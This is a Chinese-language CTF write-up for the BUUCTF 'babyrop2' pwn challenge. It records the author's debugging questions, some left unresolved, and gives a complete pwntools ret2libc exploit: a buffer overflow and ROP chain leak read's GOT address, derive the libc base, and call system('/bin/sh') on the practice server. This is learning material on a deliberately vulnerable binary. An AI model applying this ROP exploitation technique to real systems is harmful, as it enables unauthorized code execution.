目录
buuctf题目对应libc下载
提取码:1111
(所用libc6_2.23-0ubuntu10_amd64.so
与题目中所给附件中的libc.so.6
均可完成题目)
题目做法还是套路,思路比较简单,网上WP也有很多,主要是做题时遇到了不少问题,有些还没有得到解决,在此进行记录。
(认为不简单的话就应该去学习子程序逆向分析、64位程序调用约定、动态链接…)
一、遇到的问题
(一)不能够用printf
的GOT表泄露libc基地址
泄露printf的真实地址行不通,报错,不懂
(二)构造rop链时printf
参数不能只设置一个
个人认为printf
第一个参数如果不包含%s
、%d
这样的格式化字符,逻辑上来说应该是不需要继续传递后续的参数的,即不必要设置rsi
、rdx
、rcx
等寄存器,将rdi
设置为一个字符串的地址即可,但事实上并不可以。
我自己编写了如下图的文件gcc
编译后查看反汇编的代码,发现向printf
传递一个参数时确实只需要设置rdi
。
猜测原因是在c
文件中编写的printf
可以仅设置rdi
,第一个参数可以没有格式化字符串,但ROP
链中的第一个参数必须要有格式化字符串??
比如下图我将原本能够正常打通的exp
的第23行的fm_str
(对应'Hello ... %s ,\n'
)替换为strr
('What's your name?'
),就会报错。
(三)关于做题环境
使用可以通关的exp
,在Ubuntu18.04
上可以正常get shell
,在VMware
的kali
、WSL
的Ubuntu20.04
、WSL
的kali
都会报错。无语了。
(四)关于网上writeUP种常见的u64(p.recvline()[:-2].ljust(8,'\x00'))
from pwn import *
from LibcSearcher import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
ifRemote = 1
if ifRemote:
p = remote("node4.buuoj.cn",25908)
else:
p = process("./babyrop2")
elf = ELF('babyrop2')
pop_rdi = 0x400733
pop_rsi_r15_ret = 0x400731
fm_str = 0x400770
printf_plt = elf.symbols['printf']
read_got = elf.got['read']
main = elf.sym['main']
ret = 0x4004d1
payload1 = 'a'*0x28
payload1 += p64(pop_rdi)
payload1 += p64(fm_str)
payload1 += p64(pop_rsi_r15_ret)
payload1 += p64(read_got)
payload1 += p64(0)
payload1 += p64(printf_plt)
payload1 +=p64(main)
p.recvuntil("name? ")
p.sendline(payload1)
p.recvall()
在执行完上述内容后,由于context
设置为了debug
,从debug
的received
的内容可以看到:(这里需要结合刚刚构造的exp
的内容,阅读一下debug
的内容)
下图是预期输出的内容,其中每个,
后存在一个 (空格)
,每个!
后面存在一个看不到的\n
(注意\n
一个ascii字符,而不是\
和n
两个字符),蓝色划线内容即为需要得到的泄露的read的got表的内容。
所以如下图,构造exp
控制recv
函数的接受内容即可得到所需内容。
因此可以先通过recvline
接收第一行的welcome
,在第二次调用recv
的时候,接收到,
(逗号+空格),之后再接收到\n
(recvline
自动接收到遇到的第一个\n
且接受内容中\n
为最后一位),把接受内容的最后两位(!
和\n
)去掉即为所需求的read
的got
表的内容。
因此构造的exp如下:
print(p.recvline())
print(p.recvuntil(', '))
read_addr = u64(p.recvline()[:-2].ljust(8,'\x00'))
print(hex(read_addr))
(u64函数要求参数为8字节,因此需要先使用ljust函数补齐8位,高位补0(由于文件为LSB,高位在右侧))
只要能够得到蓝色区域的内容即可,\x7f
是指很多数据开头的,但是没有说服力很强的理由,因此个人认为还是要具体问题具体分析,比如本篇中根据自己构造的payload来分析需要如何来获取
# read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
# print hex(read_addr)
(五)read函数返回值
因此read的返回值最大为0x100,如果read读入了超过0x100个字符,返回值也为0x100,小于0x100则为对应buf的长度。
但是…
实际上栈空间布局是这样的
上图第二处划线位置语句执行前后,栈划线发生变化
但是但是…蓝色划线处不太理解,有待后续研究。
二 exp.py
(python2脚本)
from pwn import *
from LibcSearcher import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
ifRemote = 1
if ifRemote:
p = remote("node4.buuoj.cn",25908)
else:
p = process("./babyrop2")
elf = ELF('babyrop2')
pop_rdi = 0x400733
pop_rsi_r15_ret = 0x400731
fm_str = 0x400770
printf_plt = elf.symbols['printf']
read_got = elf.got['read']
main = elf.sym['main']
ret = 0x4004d1
payload1 = 'a'*0x28
payload1 += p64(pop_rdi)
payload1 += p64(fm_str) #"Welcome to the Pwn World again, %s!\n"
payload1 += p64(pop_rsi_r15_ret)
payload1 += p64(read_got)
payload1 += p64(0)
payload1 += p64(printf_plt)
payload1 +=p64(main)
p.recvuntil("name? ")
p.sendline(payload1)
print(p.recvline())
print(p.recvuntil(', '))
read_addr = u64(p.recvline()[:-2].ljust(8,'\x00'))
print(hex(read_addr))
# read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
# print hex(read_addr)
libc = LibcSearcher('read',read_addr)
# use LibcSearcher
# libc_base = read_addr - libc.dump('read')
# sys_addr = libc_base + libc.dump('system')
# bin_sh_addr = libc_base + libc.dump('str_bin_sh')
# use libc.so
libc = ELF("libc6_2.23-0ubuntu10_amd64.so")
read_libc = libc.symbols['read']
libc_base = read_addr - read_libc
sys_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()
payload2 = 'a'*0x28
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh_addr)
payload2 += p64(sys_addr)
p.sendline(payload2)
p.interactive()
#log.success('read==>'+hex(read_addr))